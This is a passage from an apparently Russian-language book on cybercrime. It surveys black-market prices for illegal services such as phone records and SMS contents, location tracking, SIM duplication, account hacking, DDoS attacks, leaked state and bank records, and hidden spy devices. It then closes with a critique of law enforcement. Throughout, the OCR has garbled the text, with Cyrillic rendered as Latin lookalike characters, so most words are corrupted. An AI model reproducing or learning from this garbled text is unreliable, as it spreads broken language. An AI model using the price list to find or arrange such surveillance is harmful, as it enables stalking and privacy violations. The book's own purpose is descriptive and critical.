CTYTUIEHMSI TMOO0 MHIIMIEHTOB MHMOPMAILIMOHHO 6€30ITacHOCTH, HY>KHO
VUUTBHIBATh CETOMHSIIIHNE peai. YIUTHIBATh BCE BO3MOXKHbBIE MHCTPY-
MEHTBI, TaK MJIM MHAUe JOCTYITHbIE 3JI0YMbIIIJIEHHUKAM.

3aBepiiasi CBO¥ pacckas o KubeprpecTyImtHOCTH B Poccum, aBTOp mpe-
JlaTaeT pacCMOTpeTb KpaTKMUii aHa/IM3 YepHOTO pblHKA MHMOPMAaIMOH-
HBIX YCJTYT, TPEICTaBIeHHbIX Ha CETOAHSIIHMI AeHb B HaIlleil CTpaHe.

IanHast MHGOpMAIINSI KOMY-TO JACT MOYBY JJIsI pa3MbIIIIEHNI, KOMY-
TO pacKpoeT Ijas3a Ha To, UTO B barmaze He Bce Tak CIOKOIHO, KaK Ka-
KeTCSI.

Bce npuBeeHHbIE B 9TOM pa3zesie YCIYTU «<UepPHOTro PbIHKA» JOBOJIb-
HO IIMPOKO IPeIOoCTaBJSIOTCS 3JIOYMBIIIJIEHHUKAMU Ha TePPUTOPUN
MOCKOBCKOIO permoHa, I0IyCTMMO, UYTO Ha TePPUTOPUN IPYTUX PErmo-
HOB CUTYyalMsl MOXKeT OTJIMYAThCS B IIEHOBOM AManasoHe, HO, CKopee
BCET0, He B aCCOPTMMEHTE.
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Oco60oe MecTo Ha pPbIHKE HE3aKOHHBIX YCITYT 3aHMMAaeT OJ10K, CBSI3aHHbIA
¢ uadopmauyeit 06 aboHeHTaX MOOMJIBHOI U CTALIMOHAPHO CBSI3M.

B oTHOIIeHNY aOOHEHTOB MOOWMIBHOJ CBSI3Y HAa UePHOM PBIHKE IIpe[-
JIaraloT CAeAyIole YCIyTn:

O ycraHoBeHMe MHPOpPMaIK 110 HOMepy aboHeHTa, BK/IIoUas moJi-
Hble aHKeTHbIe JaHHble Biajesblia Homepa, — OT 5 ThIC. pyo.;

O mouck HoMepa aboHeHTa 10 MpeAoCTaBIeHHbIM aHKEeTHBIM [IaH-
HBIM — OT 5 ThIC. PY0.;

O mnpepocTaBieHNe AeTaan3anyy 3BOHKOB M SMS (He BK/IIOUasi TEKCTa
CO001IeHMIT) TF0O0r0 ab0OHEHTA MOOMIbHOI CBSI3Y IIpejiaraeTcst Ha
yepHOM pbIHKe 3a 20 ThIC. py0. B MeCsIII;

O mpenocTaBiieHMe IeTaau3aln, BKIoyas BO3MOKHOCTb ITPOCMOTPa
TekcTta SMS-coobuiennit, — ot 100 mo 150 Teic. py6. 3a MeCSIUHbIN
repuon;

O Takke getanam3anus C TEKCTOM, HO MO permoHaMm Poccuum — oT
200 ThIC. py6. 32 Mecsll, a 3a MOJIyTOAMEe 3JI0YMBbIIIVIEHHUKY TIpef -
naraiot 3To uHdopmariuio 3a 500-600 Thic. pyo.;

O ycTraHOBUTDH uAeHTUDUKATOP MOOMIBHOTO ycTpoiictBa — IMEI —
npensaraiT 3a 50-60 Thic. py6., o6paTHas ycayra, ycTaHOBJ/IeHMe
SIM-kapT, KOTOpble MCIIOb30BaINCh B TeJle()OHHOM arirapare 1o
HeusBectHomy IMEI, — ot 90 ThIC. pyo.

Ha yepHOM pbIHKE YCTAaHOBJIEHBI LIeHbI U Ha AeTaan3aluio C ornpeze-
JleHneM KoopauHat. Harpumep, B paitoHe 150 Toic. py6. 3a moiroga: GPS
" 3BOHKMU C MecTononoxeHueM. Vinu, HannpumMmep, 30 MeCTOIONIOKEeHU 1
3a 7 cyTOK — oT 60 ThIC. pyo.

YepHbIit pHIHOK MpeaiaraeT pasHooOpasHbie «Tapu@bl» U «ITaKeThI»
He3aKOHHBIX YCIYT, KaK OyATO X pa3pabaThiBaIOT OIMbITHbIE MAPKETOJIO-
. Tak, pegyiararoT MHGOPMAIMIO O MECTOTIONOKEHUM MOOMIIBHOTO 32
40 ThIC. py6. — 8 MecToIOM0KeHMIA, 110 Poccum — 30 ThIC. py6., B TeUeHNE
Mecsiria — 200 ThiC. pyo.

V KaXX[I0oro oreparopa CBSI3U JJIsI CBOEro abOHeHTa MpeayCMOTpeH
JIVYHBIN KaOMHET, KOTOPbIVi BKIOYAET BO3MOXKXHOCTH TI0 YIIPaBIE€HUIO
yCIIyraMyu U COIEepXKUT Maccy MHTepecHoOl nHbopmanuu. Ha yepHom
PBIHKE I1apoJib B IMYHbIV KaOMHET MOXKHO MOTYYUTD 3a 50 ThIC. pyo. He-
3aBMCUMO OT PermoHa.
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Bce mepeuncieHHble yCJIYTM Ha YePHOM DBIHKe IpenJjararTcs He
TOJMBKO B Poccum. 3/10yMBILIIJIEHHUKM TOTOBBI MPEIOCTaBUTh JaHHbIE
u 1o ctpaHam CHI, pa3Huiia ToJIbKO B CpOKax mpeaocTaByieHust MHGOP-
MaLuu.

MecrornonoxeHue SIM-KapTbl OT€UECTBEHHOI'O OrepaTopa CBSI3M 3a
rpee/iaMy Hallleii CTpaHbl IIpejiaralT IpeaocTaBuTh 3a 90 ThIC. pyo.,
omnpenenenue Mmectomnonoxkenus no IMEI — 70 Teic. py6. OgHOpasoBoe
MeCTOIIOJIOKEHME — OfHA TaK Ha3blBaeMasi «BCIBIIIKa» — YIUIA, JOM
" aJipec Ha KapTe — BCero 3a 45 ThiC. pyo.

[ToMuMO 3TOTO, HA «4€PHOM PBIHKE» MpeJJaraeTcs yciyra rno KOHT-
pOJII0 MOOMIbHOTO TejleOHA, BKIIOUAST «IIPOCIYIIKY» M 3aIlUCh pas-
TOBOPOB, IIPOCMOTP JIIOOBIX COOOIIEHMIT, BKIIOUAs] BCE MECCEHKEePhI
¥ MTH(POPMAIIMIO O MECTOIIOIOKEHMM, ¥ BCe 3TO — OT 50 ThIC. py6. B MeCSII.
TexHuyeckast peanusanusi Takux QyHKIMIA Obl1a TOAPOGHO paccMOTpe-
Ha B 4aCTy «ATaka Ha MOOMJIbHbBIE Tesle(pOHbBI».

B oTHOIIEHUY CTallMOHAPHBIX TesiehOHOB BCe TaK JKe «XOPOIII0», ITPO-
CJTyIIKA TOPOACKMX TesedOHOB 37I0YMbIIIJIEHHUMKAMM TIpeaJjiaraeTcs 3a
120 ThIC. py6. B HEmEITIO.

[ToMuMO 3TOTrO0, B OTHOIIIEHM aBOHEHTOB TeiechOHHO CBSI3Y ITpe/iJia-
raloTCsl YOIYTH 110 6JI0KMPOBKe 1106010 TesiedoHa ot 10 ThIC. pyd. B I€Hb,
TIpY 9TOM aOOHEHT ITOCTOSTHHO 3aHSIT WX HeOOCTYIIEH.

ITpo myb6nukaTtel SIM-KapT, coBepliaeMble IyTEM HeIlpaBOMEpPHOI
3aMeHbl UM nepeo@opMieHNs], pacCKa3blBaThb CKyYHO, 3TO JOBOJIbHO
yacToe sBjeHue, IpejiaraeTcsl Ha YepHoM pbiHKe oT 10 go 50 ThIic. pyo.

[Tpennaratorcs takke SIM-KapThel ¢ MU3MEHEHMEM HOMeEpaA Ha TOT,
KOTOPBIN 3aX04yeT 3aKa3uMK, MOAMEHON roaoca U U3MeHsIeMbIM, TaK
Ha3bIBaeMbIM «IUtaBawiym» IMEI — ot 100 ThIiC. py6., ¢ oberiaHueM
«6e3MMMUTHOTO OBIIEeHMS TT0 BCeMY MUPY U 3aIIUTONM OT MPOCTYIIKM».
B03MOKHOCTD peanu3alyu TaKux yoIyT 6blj1a pacCMOTpeHa B 4acTu «Jlo-
CTYIIHbIE CPEICTBA AaHOHUMHOV CBSI3U».

Bropoii 6nok

Ha BpeMs 1m0o3ayMCTBOBAaHHBIN MJIM MOXUIIEHHBIN (IOTEPSIHHBIN) MO-
O6UIbHBIN Tesle)OH MOKET TakKe 0Ka3aThbCsl IIeHHBIM MCTOYHMKOM MH-
dbopmarnym, UCIIOAb3yeMOJ B JaJbHEMIIEM [IJIs1 KMOePIIMOHaXKa.

Ha cerogHSIIHMIA AieHb CYlIeCTBYIOIIee Ha PbIHKE CelaIu3UPOBaH-
HOe IIporpaMMHOe obecrieueHue ¥ arrnapaTHble KOMIIJIEKChI, MCIIOb-
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3yeMble IS KpUMUHAIMCTUUECKUX UCCIeA0BaHMI, MOTYT ObITh TIPU-
MEHEHbI ¥ B He3aKOHHBIX I1eJISIX.

3aBJiazieB Uy>KMM MOOVIIbHBIM Tesle(OHOM M HOYTOYKOM, 3/I0YMBbIIII-
JIEHHMKY MOTYT 3aCTaBUTh TEXHUKY «BCIIOMHUTDb BCE», a YK CKOJIbKO
MCITONIb3yeMasl TeEXHMKa XPaHUT B cebe CBeeHMii, MHOTHMeE JTaxke He I10-
I03peBaloT.

Hy>kHO /1t TOBOPUTH 00 OMTACHOCTH TTOC/IeICTBMIA 3a0bITOTO TeedoHa,
ocTaBjIeHMsI ero 6e3 MPUCMOTpPa MM CIa4YM €r0 B PEMOHT.

[Ipocras yoryra, mpeacTaB/ieHHass Ha «4€PHOM PbIHKE», TT03BOJISIET
MOKa3aTh BCe YUYETHbIe 3aIMCU U Tapoyi, KOTAA-TM60 UCTIO/NIb3yeMble
Ha MobWIbHOM TenedoHe, Bcero 3a 5-10 TbiC. pyo.

[ToMyYnTh APOIY OT 37IEKTPOHHO TTOUYTHI MJIM aKKayHTOB COIMATbHbBIX
ceTeil 37I0yMbIIIIJIEHHMKAMU TIpeJijlaraeTcsi ¢ 60/IbIIMM pa3bpocom 1ieH —
ot 3 mo 100 TsIC. pyo.

[TapanienbHO YepHbBI PhIHOK MH(MDOPMAILIMOHHBIX YCIIYT MOXET eI -
JIOKUTb YCITIYTY OTIIPABKY MOI€TbHOTO 3JIEKTPOHHOTO MMCbMa OT 5 ThIC.
pyo6. 1 JoCTyIIa K KoMITbIoTepy 1o IP-agpecy 3a 150 Thic. py0. yoaaeHHO,
BBIOOPKY MHGPOPMAIINM C 3JIEKTPOHHOTO YCTPOICTBA U ee COXpaHeHMe.
O peanu3anyy MOJOOHBIX YUIYT ObIJIO MHOTO CKa3aHO B KHUTE, [TOTOMY
uaeM Jasblile.

YepHbIi1 pbIHOK ITpe/Jjiaraer:

O ycraHoBJeHMe abOHeHTa 10 u3BecTHOMY IP-ampecy — ot 20 mo
60 ThIC. py6., B 3aBUCMMOCTH OT IIpOBaiiziepa;

O monyyeHue TTOJHBIX PErUCTPALIMOHHBIX TaHHbBIX O Bafesblie Jio-
6oro caiita — 100 TbIC. PYO.;

O monyyeHue JAHHBIX O BJIafeNbllaX EeKTPOHHBIX KOILIETbKOB — OT
65 ThIC. pYo.;

O ycTaHOBJ/IeHME JAHHBIX 10 YUETHBIM 3aIIMCSIM B COL[MATbHbBIX CETSIX,
BKiiouast U0, maTy pokmeHMs, 3/IeKTPOHHYIO ITOUTY, aOOHEHTCKMIA
TenedoH, CIMCOK UCIOMb3yeMbIX Il aBTOpu3anuu [P-agpecos, —
OT 65 ThIC. pyo.;

O monyyeHue UCTOPUM OOMeEHa COOOLEeHUSIMU (TIePEeICKI) TOJIb-
30BaTessl COIMAIbHONM CeTU — TUTIOC 45 ThIC. pyO. K MpeabIayIei
yciyre.
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[IpucyTCTBYeT TaKKe yCIyra 110 ocyinecTBiaeHuio DDoS-aTtak! u 6510-
KMPOBaHMIO paboThl caiiTa UaM cepBepa, KoTopas 000iIeTcsl BCero
B 20 ThIC. py0. 32 OIVH JI€Hb.

YeTBepTbit 610K

K sToMy 610Ky MOKHO OTHECTM BCEBO3MOKHbBIE TaHHbIE, MIOTyYaeMble
HE3aKOHHO M3 PasIMUYHbIX OpraHM3aIii, TaK Ha3bIBaeMble ITPeCTaBy-
TeJISIMM TEHEBOTr0 O1M3Heca «IIPOOUBbI»:

O mHpopMaLus 1o Homepy aBToMo6ms, VIN, a Takke ero ucTopmn
(HarpuMep, Kakue aBTO 3aperMcTPpUPOBAHbI MM ObUIM 3aPErucT-
pMpOBaHbI HA YKa3aHHOTO YeoBeka) — 3,5 ThIC. pyo.;

O mHbopMaIusg Mo BCEM «KapTOYKaM» TPAHCIIOPTHOTO CPeJCTBa,
MpOBEepPKa BOIUTEIHCKOTO YIOCTOBEPEHMS — 3 ThIC. PyO.;

O mpoBepKa permcTpanuy 4ejoBeka — 5 ToIC. pyo.;

O mpoBepKa Jmila Ha PO3bICK — 3 THIC. PyO.;

O mpoBepKa Juila Ha CYyAMMOCTb — 5 ThIC. pyo.;

O nomyuenne koruu opmbl N2 1 (3amoHsieTcs Tpy BbiJaue Mmacrnopra,
comep>KUT (GOTO ¥ OCHOBHBIE JaHHbIE TpakIaHMHa) — 15 Thic. pyo.;

O mnonyuyenme n006b1x Beimmcok u3 ®HC (EI'PIOJI, ETPUIL, ETPH, dup-
MbI 1 UIT), a TakKe Takoit MHDOpMaIu, Kak CIIUCKU COTPYTHUKOB
KOMIIaHMM, COaHHbIE HAJIOTOBbIE OTYEThI, MecTa paboTsl, 2HIDJT —
oT 3 1o 5 ThIC. pyo.;

O mHbOopManus o0 cueTax opranmsanuu, — 15-20 TeIC. pyo.;

O OBVDKEHMS CPEJICTB I10 CUETY OpraHM3aIMy B TI0O0M OaHKe U peruo-
He Poccum — 200 ThIC. py0. 3a Tpu roga, 1 kBapran — 150 ThIcC. pyo.,
Mecsit, — 110 TbIC. pyo.;

O Beinmcka u3 ET'PIT (Pocpeectpa) — 14 Thic. py6. mo MoCKOBCKOMY
pPerMoHy, KBapTaJbHbI OyXrajaTepckuii 6ajaHC ¥ HaJIOroBasl OT-
yeTHOCTH — 20 ThIC. pyob.;

O monyuyeHme cBefeHmnii 06 umyiiectse — 3—20 ThIC. pyo.;

O nmaHHbIe 0 ¢aKTax MepeceyeHMs TpaHMUIIbI 3a MOCAemHMNe 5 jer
(BKJTIOUast aBMa-, x/1 6metsl) — 20 ThIC. Pyo.

M MHOTO€-MHOTroe IpyToe...

1 DDoS - cokpainenue ot aHri. Distributed Denial of Service (pacripeneneHHbII 0TKa3
OT OOCTY>KMBAHMST).
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DTOT GJIOK IEMOHCTPUPYET BO BCEii Kpace OTCYTCTBME HaJJIesKallero
KOHTPOJIS 32 MH(GOpMAaIMeii, JOBePeHHO pa3IMYHOro poaa MUHUCTEP-
CTBaM ¥ BeOMCTBaM. A Takke (haKT TOTrO, UYTO KaK ObI HM ObLIO MHOT'O
BUIOB TaliHbI, YCTAHOBJIEHHBIX 3aKOHOHATEIHCTBOM, IIPECTYITHOE pas-
TMJIBASIAICTBO Ha MeCTaX CIIOCOOHO CBECTM HallMOHA/IbHbIe MHTEPEeChl
B MH(popMaIoHHOoIi cepe, 0603HaAUEHHBbIE B JOKTPMHE MHMOpPMALV-
OHHOI1 6€30T1acHOCTH!, K HYJIIO.

MaTbin 6N0K

TToMMMO YMCTO MH(POPMALMOHHBIX YCIYT, «4€PHBI PhIHOK» IIPeACTaB-
JIIeT aCCOPTUMEHT Pa3/IMUYHbBIX CIEelMaJbHbIX TEXHMUECKUX YCTPOIICTB,
060pOT KOTOPBIX 3ampelneH 3aKOHOAATeabcTBOM P®D. 3T0 He sBisieTCs
TEeMOJ KHUTY, HO MOKHO ITePeYMCINTh HEKOTOPbIE M3 MPeICTaBIeHHbIX
YCTPOMCTB 1151 paciIpeHust Kpyrosopa:

Q 6pesiok ¢ AucIIeeM YHMUBEPCATbHBIN, OTKPhIBAET JI0ObIe II1aroay-
MbI 1 BopoTa — 20 ThIC. pyo0.;

O 6pesoK yHUBepCasl K CUTHAIM3AIMSIM, 3aXBaThIBA€T CUTHAJT, OTKPbI-
BaeT U 3aKpbIBaeT Jt060i aBToMo6mIb — oT 150 1o 250 ThIc. pyo.;

O cKpbITHIN )Ky4oK SIM-aynyo ¢ GPS-koopauHaTaMu — OT 7 ThIC. pyo0.;

O ckpblITas BuUaeoayaokaMepa aBTOHOMHOTO UCIIO/Ib30BaHMSI, BMOH-
TUPOBAHHAS B YePHYIO ITyTOBUITY My Irypymd, — 20 ThIC. pyo6.;

O ckpeiTasi Bumeokamepa HD-dbopmara B Mpo3payHbIX OUKaAX —
15 ThIC. PYO.;

O ckpbITasg kKamepa ¥ MUKpPOGhOH, UCIIOJTHEHHAS B BUAE JTAMIIOUKHU
(cBeToBoIt 11oKoNb E27), ¢ QyHKIMeEN TTepesaun JaHHBIX MTOCPe-
ctBoM Wi-Fi — 20 TbIC. pyo.;

O yCTpOICTBO «KJIaBMATYPHBIN IIIMMOH» HAa KOMITbIOTEp — 5 ThIC. pyo.

BOJIBIIMHCTBO MPUBEIEHHBIX YCTPOICTB 3ampenieHo K 060poTy Ha
TeppuTopuu Poccuu, 1 3a UX He3aKOHHbIE TTPOMU3BOACTBO, COBIT 1, UTO
OueHb BaXKHO, IIPMOOpeTeHMe TIpelyCMOTpeHa yrojloBHAsi OTBETCTBEH-
HOCTb 110 cT. 138.1 YK PO «He3aKOHHBII 000pOT CHeMaJbHbIX TEXHM-
YeCKUX CpencCTB, NpeJHa3HaYeHHbIX [JIS HEIVIACHOTO IOJIyYeHUST VH-
dbopmanym».

! TIyHKT «a» cratby 8 ykasa [IpesumenTta P® ot 05.12.2016 N2 646 «O6 yTBepKIeHUN
IokTpMHBI MHGOPMALIMOHHOI 6e3onacHocTy Poccuiickoit ®emepanum». URL: http://
base.garant.ru/71556224/.
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YTO MOXKHO CKa3aTh ITOC/Ie TaKoro 063opa? Hukakoi MUCTUKM, TOJTBKO
6usHec. I'taBHOe, UTOOBI 0COO0 BIEYATIMTE/bHbIE He BIAAal/ B Iapa-
HOI10.

ABTOp HaMepeHHO CTapasiCcsl IPUBOAUTD aKTyaJbHYI0 CTOMMOCTDb He-
3aKOHHBIX YCIYT, AJIsI TOTO UTOOBI HE CO3/1aBaTh MJUII03MIi O HEITOCTVIKM-
MBbIX (DMHAHCOBBIX 3aTPATaX, KOTOPbhIE ITOTPEOYIOTCS 3/TOYMbBIIIJIEHHMKAM
ILJISI TIOJTyYeHMsI HeoOXoauMoit MHbopMalum, HarpuMep JJisl OCYIIeCTB-
JIeHUs TTepCOHA/IM3UPOBAHHO aTaKu.

VIMeHHO CTOJIbKO Ha YepHOM pbIHKe CTOUT TaliHa MepenyucKu, Teje-
(DOHHBIX TTEPEroBOPOB U IPyryue, COKPOBEHHbIE IJISI KasKIOro YeioBeKa
U TpakIaHMHA Bellu.



SAKNONERAE

HecMOTps Ha TO UTO BCe MepeuycieHHble YCUIyTY UepHOTO pPbIHKA Tpy-
60 ¥ UMHUYHO HApYILIAIOT MpaBa yeJoBeKka M IpakJaHMHAa, a OKa3aHue
TaKMX YCIYT BedeT 3a C000Jt yroJIOBHYI0 OTBETCTBEHHOCTb KaK [IJis 3a-
Ka3uuKa (TTOKyIaTesis), Tak 1 [/ po/aB1ia, PbIHOK 10 MpeloCTaB/IeHIIO
He3aKOHHBIX YUIYT B cepe MHbOpMaLy peasbHO CYIeCTBYeT U Ipo-
1IBeTaer.

HekoTopble MpUYMHBI pazMaxa KMbepripecTyIjieHnii ObIIM pacCMOT-
peHbI B TpeThell I71laBe, HO BCe ke MpMMep YepHOTO PbIHKA U JMHAMMKA
MpeCcTyIJIeHNI TTOACKa3bIBAIOT, YTO IIPUUMH ropa3fo 6oJblie.

Hanbosiee oTYeTINBO MPOC/IEXNBAIOTCS HEKOMIIETEHTHOCTb, KOP-
pYMINsl, HErPaMOTHO COCTaBJIeHHbIe MHCTPYKIMM U CIIPOEKTUPOBAH-
Hble CUCTeMbl, HeaZleKBaTHbIe BbIBO/IbI B OlleHKaX K1OepIrpecTyrmHOCTH
1 TIpaBOOXPAHUTENIbHOI esITeIbHOCTU, MeXaHU3Mbl IIPOTUBOAEIICTBHS,
Tpebylolliyie CpOYHOro anrpeiiia.

11 06BbeKTMBHOTO B3IJISIAA Ha BeIy IONpoOyeM CPaBHUTh CUTya-
LIMI0, CJIOKMBIIIYIOCS B chepe KMOepIpecTyIIEHN, C ITPeCTYIIeHUSIMU
B JIpyToii chepe — MIMPOKMUM paclpocTpaHeHeM HapKOTUKOB.

B KaXkIom TomMe MOCKOBCKOTO CHajbHMKA MPaKTUYECKU BCe KUTeIn
3HAIOT KBapTUPHI, TOe MO0 TOPTYIOT HAPKOTUYECKMMM BellleCTBaMu,
160 YIIOTPeOsIIOT HapKOTUKM. He O6ymeT ommMOKOi MpemInooKUTb,
YTO Ta ke CUTyallus MMeeTcsl U 110 Bcelt cTpaHe. OqHaKo Haka3aHue 10
cT. 228 YK P® 3a He3aKOHHbIEe IIpUOOpeTeHIE, XpaHEHE, TIEPEBO3KY, 13-
rOTOBJIeHNe, TTlepepaboTKy HapKOTUUYECKMX CPeNCTB He TOMbKO He YCTY-
raeT HaKa3aHUSIM, IPeIyCMOTPEHHbIM I10 TaK Ha3biBaeMbIM «MHMOpMa-
IIMIOHHO-KOMITbIOTEPHBIM CTATbSIM», HO JIasKe SIBJISIETCST 60J1ee SKeCTKUM.
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CoBepIIIeHHO OYEBUIHO, UTO OT HAPKOTUYECKUX CPEACTB yuiepb 06-
IeCTBY HAHOCUTCSI KOJIOCCAIbHBIN, BBIPAKAIOLLMIACS B pacrajie JIMYHOCTEN,
ceMeli 1 paclBeTe npecTynHocTu. HakaszaHue 3a JaHHOe IpecTyIieHue
3HAUUTEJIbHO Cepbe3Hee, OJHAKO MeHbIIe HAPKOMAaHOB He CTAaHOBUTCS
(cM. Tabi. 2), maske C Y4eTOM TOTO, UYTO JOKYMEHTHPOBAHME ITPECTYITHOM
IesITeTbHOCTM, CBSI3aHHO ¢ 060POTOM HapKOTMUKOB, C TOUKY 3PeHMS Orle-
pPaTUMBHO-PO3BICKHON U C/I€ACTBEHHOM IesITeTbHOCTU SIBJISIETCS IOBOJIBHO
MIPOCTBIM, «ITAOJIOHHBIMY», a CYZIe6HOI MTpaKTHKe ropasio O0sblie JIeT.

Ta6nuua 2. HakasaHus No «KOMNbMEPHbLIM CMAMbIM»
U 30 He3aKOHHble npuobpemeHue, XpaHeHuUe, Nepeso3Ky,
u320mosseHue, nepepabomky HapKomu4eckux cpeocms

Crates YKPO | 272 | 273 | 138 | 1596 228
TaK Ha3blBaeMble «KOMMbIOTEPHbIE CTaTbK»
YacTb cTaTbht HakasaHue K nuniweHuno cBob0obl B rogax
1 no 2 no 4 - - no3
2 no 4 no5 no 4 no5 3-10
3 no7 no 8 [0 6 10-15
4 no7 no 10

B mpuBemeHHOI Tabynile MPOAeMOHCTPUPOBAHO CPaBHEHME YCTaHOB-
JleHHOTO YToJI0BHBIM KoJleKcoM P® Haka3zaHMs B BUe JINIIeHUs CBOOO-
IIbI 32 MIPeCTYIUVIeHUS, TpefyCMOTpeHHbIe cTaTbsIMu: CT. 272 YK PO «He-
MpaBOMEPHbBII AOCTYM K KOMITbIOTepHOI MHQopMatyn», ct. 273 YK PO
«Co3aHue, UCIOAb30BaHME U paCIpOCTPaHEeHe BPeLOHOCHBIX KOM-
MBIOTEPHBIX MpOrpaMm», CT. 138 YK P® «HapyuieHne TaiiHbl riepenmc-
KU, TeJle()OHHBIX TTIePeroBOPOB, ITOUTOBBIX, TejerpadHbIX UM UHBIX CO-
001eHmi», cT. 159.6 YK PO «MolteHHMYeCcTBO B cepe KOMITbIOTEPHOIA
uHopmanum», a Takke cT. 228 YK P® «He3zakoHHbIe TIpuobOpeTeHue,
XpaHeHMe, MepeBo3Ka, U3roTOBJIEHMe, ITepepaboTKa HApPKOTUUECKUX
CpelCTB, IICUXOTPOIHBIX BeILeCTB UM UX aHAJIOTOB, @ TAKXKe He3aKOH-
Hble IIpMOOpeTeHe, XpaHeHe, TTIepeBO3Ka PacTeHMIA, ColmepsKalux Hap-
KOTUYECKMe CPeaCTBa MM IICUXOTPOITHbIE BEIlecTBa, MO0 UX YacTeid,
coepsKalMx HapKOTHUUeCKue CpeCcTBa Wi IICUXOTPOITHbIE BellecTBay.

B oTnMume OT MpecTyIIeHnii, CBI3aHHBIX C 000POTOM HapKOTHYe-
CKMX BeIeCTB, MpecTyIuieHus B MHGOPMAaIIMOHHOM cpefie HOCAT 6osiee
BbIPpAXKEHHBIN, CKPBITBIN U CJIOKHBIN XapakTep. [IpakTnuecku Kaskablit
VHIIMAEHT U MPeCTyIUIeHe TPeOyIoT MHANBUAYATbHOTO aJropuTMa J10-
KyMEHTUPOBaHMSI.
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[IpaBoOXpaHUTeNbHAS CUCTEMA MMEET CJIMIIKOM MHOT'O 3BEHbEB U OT-
IeJIbHBIX 30H OTBETCTBEHHOCTU, KOTOPbIE MO3BOJSIOT 3/I0YMbIIIIEH-
HMKaM ¥ KOppYIILMOHEepaM pellaTh CBOM Jejia Ha PasjMYHbIX dTarax.
HToroMm paboThl TaKO 1I€ITIOYKM MOKET CTaHOBUTHCSI BOJIOKMTA U pa3Bal
YTOJIOBHBIX JeJT (eCu 0 BO3OYKIeHMs Bce-Taku [0 AOIII0), a ycTa-
HOBJIEHHbIE (DUTYPAHTHI HEPEIKO YXOSIT MO/ ITOKPOBUTETHCTBO HEHL00-
POCOBECTHBIX GOPIIOB C MPECTYITHOCTHIO.

[yt oTpeie/IeHHOTO CerMeHTa IPeCcTyIUIeHI 11eJ1ecoo6pa3Ho 6bIIO0
6bl 0OBEOVMHUTD B OMHOM HO/IKHOCTHOM JIMIIE OIEepPYIOTHOMOYEHHOTO
" CJieoBaTesIs, HAa30BeM ero 6ojiee MOHSITHBIM MHOTMM CJIOBOM — Jie-
TEKTUB.

Takoii mar npuHec 6bI cepbe3Hble IUIOAbI, HauMHAasl C COKpalleHMs
610pOKpaTMUECKOro J1abupuHTa. JleTeKTUB, paboTasi HaNpsSIMYI0 C Op-
raHaMu IMPOKYpaTypbl, CMOT ObI BO36YKIATh MPOU3BOACTBO IO (HAKTy
KOMIIBIOTEPHOTO MPECTYTIIJIEHUS U, [I0JIb3YsICh BCEMM ITPaBaMM U MTOTHO-
MOUYMSIMM, KOTOPBIMM Ceiivyac HaAeleHbl OPTaHbl CIeACTBYUS, IPOBOAUTH
CBO€ pacciefnoBaHye, COIMIAaCOBbIBAs €ro X0, C IPOKYPOPOM.

IaTh afieKBaTHYIO OI[€HKY KMOEepIIpecTyImTHOCTY B Poccuu JOBOIBHO
10kHO. KonmyecTBeHHbIe TTI0Ka3aTe/n M CTAaTUCTUKA SIBJISIIOTCS ITpapo-
OUTENISIMU «T1aJIOUHOI CUCTeMbI» U, CKOpee BCero, He MOTYT HeCT B cebe
KaueCTBeHHO O1leHKM 3G (PEeKTUBHOCTU CUCTEMBI.

ABTOp CKJIOHEH K MaTeMaTU4yeCKOMY MOAXOAY, O3BOJSIOLEMY, Ha-
BepHoOe, 60Jiee MPaBUAbHO pacCMaTpMUBaTh MonoxkeHue nen. Kosbdu-
LIMEeHT, KOTOPbI/i MOXET [MOKa3aTh OTHOLIEHME 3aperncTpUpOBaHHBIX
MPeCTyIUIEHUIA, 3a MMHYCOM HEINOATBEPXKAEHHbIX, K [0JIe PACKPBIThIX
npecTtyrieHnii. He Bce peructpupyeMble NpecTYIUIEHUS SIBJISIIOTCSI Ha
CaMoOM JeJjie TIPeCTYIUVIEHUSIMU 110 pe3y/ibTaTaM IMPOBEPKM.

JJ1s HAarIIAHOCTY 3HaYeHMe KO3 duiimeHTa JOMKHO CTPEeMUTHCS K 1
TIpY MTOJTHO¥ pacKpbIBaeMOCTHU IIpU caenyoiieii dopme pacuera: K = Pac-
KpBIThIE TIpecTynieHns / (3aperncTpupoBaHHbie — HenmoaTBep)KIeHHbIE).

OueHb YaCTO B CTATUCTUUYECKMUX OTUETaX M MyOIMUHBIX BBICTYIIIE-
HMSIX MOKHO BCTpeyaTh LMOPbl HAHECEHHOTO yiepba OT MPecTyITHOI
nesitenbHOCTU. OIHAKO He CTaBUTCS aKIeHT Ha APYrom Iokasarese 3¢-
(heKTUBHOCTY — SKOHOMMUYECKOM COCTABJISIIONIE. A UMEHHO — CKOJIbKUM
MOTEPIIEBIIMM M B KAKOM pa3Mepe yAaaoCh BEPHYTh YKpPaJeHHbIe Y HUX
IeHeKHbIe CPefCTBA WIM BO3MECTUTD NTPUUMHEHHBIN yIep6?

CylIeCcTBYIOLIMIT MEXaHM3M HeCII0cob6eH 6e3yKOPU3HEHHO CITPaBJISITh-
Cs1 C MOCTaBJIEHHBIMU Mepe[] IPaBOOXPaHUTENIbHOM CUCTEMOT 3aayaMu,
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HO HY’KHO OTMETUTb, UTO IIPOBOAVIMbIE pe(OPMbI TTOJIOKUTETbHO CKa3bl-
BAIOTCSI HA OOIIEM ITOJIOKEHUM JeJ1 U Bce (He TaK OBICTPO, KaK XOTeJI0Ch
6bI) OIpeIe/IeHHO HaIaXkK1BaeTCsl.

A TI0Ka HaJIakKMBaeTCSI CUCTEMA, KaK U B IMPEKHME TOObI, KaK U BCe
B Hallleli CJIaBHOJi CTpaHe, paboTaeT B OOJIbIIIEel CTeIeH) Ha SHTy3Ma3Me
OTIEeTbHbIX COTPYAHMUKOB. U 1MOKa elle ecTh Te, KTO IIPU OCYILEeCTBIEHUN
CBOMX ITOJITHOMOYMIA MY>K€CTBEHHO U YeCTHO, He IIa/isl CBOMX CUJT B 60pb-
6e C IIpeCcTyImHOCTbI0, AOCTOIHO MCITOTHSIET CBOJ CTY>KeOHbIN A0/, 0CcTa-
eTcs Hagexna.

Beperute cebsl.

! W3 mpucsru coTpyfHMKa OpraHOB BHYTpeHHUX Jien Poccuiickoit @epepauyn.
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